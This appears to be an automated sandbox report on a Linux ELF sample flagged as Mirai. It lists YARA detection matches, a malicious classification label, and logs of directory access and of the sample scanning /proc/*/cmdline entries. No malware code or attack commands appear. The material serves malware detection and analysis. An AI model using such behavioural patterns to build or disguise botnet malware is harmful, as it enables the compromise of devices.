Source: 5439.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5432.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5432.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5436.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5436.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/1@25/0

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5457)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5458)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5487)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5487)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5487)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5487)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/518/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/5416/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/5417/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/5273/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3772/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3643/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/5441/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/5438/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	File opened: /proc/5439/cmdline	Jump to behavior
